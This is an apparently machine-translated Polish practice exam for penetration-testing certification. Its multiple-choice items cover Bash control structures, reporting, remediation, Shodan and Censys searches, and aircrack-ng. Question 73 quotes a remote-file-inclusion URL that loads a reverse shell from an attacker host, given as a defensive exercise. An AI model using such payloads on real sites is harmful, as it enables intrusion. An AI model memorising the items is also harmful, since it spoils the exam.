69. W skrypcie Bash musisz poprosić użytkownika o wybranie jednej z siedmiu różnych opcji przedstawionych w poleceniu echo. Która struktura kontroli najlepiej oceni dane wejściowe użytkownika i uruchomi odpowiedni zestaw poleceń?

A. pętla while

B. pętla for

C. pętla until

D. if/then/else

E. case

70. Która struktura kontrolna będzie przetwarzać w kółko, aż określony warunek okaże się fałszywy?

A. pętla while

B. pętla for

C. pętla until

D. if/then/else

E. case

71. Tester penetracyjny pisze raport, który przedstawia ogólny poziom ryzyka dla operacji. W której części raportu tester powinien zawrzeć te informacje?

A. Załączniki

B. Streszczenie wykonawcze

C. Korpus główny

D. Podsumowanie techniczne

72. Podczas testów penetracyjnych podstawowego serwera klienta tester wykrywa krytyczną lukę w zabezpieczeniach. Co powinien zrobić tester dalej?

A. Zakończ testowanie, uzupełnij wszystkie wyniki, a następnie prześlij je klientowi.

B. Niezwłocznie powiadomić klienta o szczegółach ustaleń.

C. Na komputerze docelowym wyłącz port sieciowy usługi, której dotyczy problem.

D. Przełącz maszynę docelową w tryb offline, aby nie można było jej wykorzystać.

73. Analityk bezpieczeństwa monitoruje dzienniki zapory aplikacji sieci Web (WAF) i odkrył, że nastąpił pomyślny atak na następujący adres URL:

https://sample.com/index.php?Phone=http://iattackedyou.com/stuffhappens/revshell.php. Jakie kroki naprawcze należy podjąć, aby zapobiec ponownemu wystąpieniu tego typu ataku?

A. Blokuj przekierowania adresów URL.

B. Podwójny adres URL zakoduj parametry.

C. Z poziomu aplikacji zatrzymaj połączenia zewnętrzne.

D. Zaimplementuj czarną listę.

74. Korzystając z phishingu, penetrator był w stanie uzyskać wstępne dane uwierzytelniające domeny użytkownika VPN od członka działu IT. Następnie tester uzyskał skróty przez VPN i bez wysiłku je złamał za pomocą ataku słownikowego. Tester powinien zalecić klientowi, który z poniższych kroków naprawczych? (Wybierz trzy.)

A. Zalecamy zwiększone wymagania dotyczące złożoności hasła.

B. Zalecamy wdrożenie uwierzytelniania dwuskładnikowego dla zdalnego dostępu.

C. Zalecamy zainstalowanie systemu zapobiegania włamaniom.

D. Zalecamy zainstalowanie rozwiązania do monitorowania zdarzeń związanych z bezpieczeństwem.

E. Zalecenie uniemożliwienia członkom działu IT interaktywnego logowania się jako administratorzy.

F. Zalecenie, aby wszyscy pracownicy przeszli szkolenie w zakresie świadomości bezpieczeństwa.

G. Zalecamy uaktualnienie pakietu szyfrowania używanego w rozwiązaniu VPN.

75. Po zakończeniu testowania aplikacji dostępnej w Internecie, tester penetracyjny zauważa, że aplikacja korzysta tylko z uwierzytelniania podstawowego. Jaka jest najlepsza strategia naprawcza, którą tester powinien polecić klientowi?

A. Włącz HTTP Strict Transport Security (HSTS)

B. Włącz flagę bezpiecznych plików cookie

C. Zaszyfruj kanał komunikacyjny

D. Oczyść nieprawidłowe dane wprowadzone przez użytkownika

76. Niestandardowe systemy hostowane w środowiskach stron trzecich, takie jak te oferowane przez dostawcę usług w chmurze (CSP), mogą wymagać dodatkowych zezwoleń na testy penetracyjne. Który dokument testowy może odzwierciedlać to zatwierdzenie?

A. SOW

B. RoE

C. MSA

D. Zakres

77. Podczas korzystania z Shodan zespół pentestów bada otwarte porty i usługi dla publicznego serwera internetowego organizacji. Którą z poniższych opcji zespół testerów może użyć w kryteriach wyszukiwania jako filtru zwracającego tylko wyniki z HTTP? (Wybierz najlepszą opcję.)

A. Port HTTP: 23

B. Port HTTP: 88

C. Port HTTP: 80

D. Port HTTPS: 443

78. W widoku Hosty IPv4 w Censys użytkownik ma możliwość zastosowania filtru, klikając wybór w następujących kategoriach, z wyjątkiem której?

A. Filtruj według AS

B. Filtruj według portu

C. Filtruj według protokołu

D. Filtruj według tagów

79. Nazywa się zestaw narzędzi, które zapewniają możliwości prowadzenia monitoringu komunikacji radiowej i audytu bezpieczeństwa sieci bezprzewodowej?

A. airman-ng

B. aircrack-ng

C. airmon-ng

D. airmmn-ng

80. Przed użyciem airmon-ng, w jakim trybie należy skonfigurować kartę sieci bezprzewodowej?

A. Tryb zarządzania

B. Tryb monitora

C. Tryb wtrysku

D. Tryb łamania